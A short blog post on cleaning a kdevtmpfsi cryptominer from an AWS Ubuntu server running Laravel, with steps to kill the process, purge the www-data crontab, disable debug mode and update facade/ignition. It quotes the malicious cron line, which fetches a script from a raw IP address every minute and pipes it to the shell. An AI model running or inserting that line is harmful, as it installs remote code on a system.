AWS EC2 instance used up CPU 100% - Malware kdevtmpfsi
I was wondering what’s wrong with my server (host Laravel web app),
it’s fine after reboot the instance, but after a while it become very
slow, and CPU 100%
I’m using Ubuntu 20.04.2 LTS
Run
1 | $ htop |
Then I found this post
1. kill the process & delete the file
1 | sudo killall kdevtmpfsi |
2. Check the www-data
crontab
1 | $ sudo crontab -u www-data -e |
If you see this, just remove them
1 | * * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1 |
3. Patch Laravel
Turn off debug
1 | APP_DEBUG=false |
Update composer package facade/ignition
to at least 2.5.1
4. Reboot instance
After reboot it’s working fine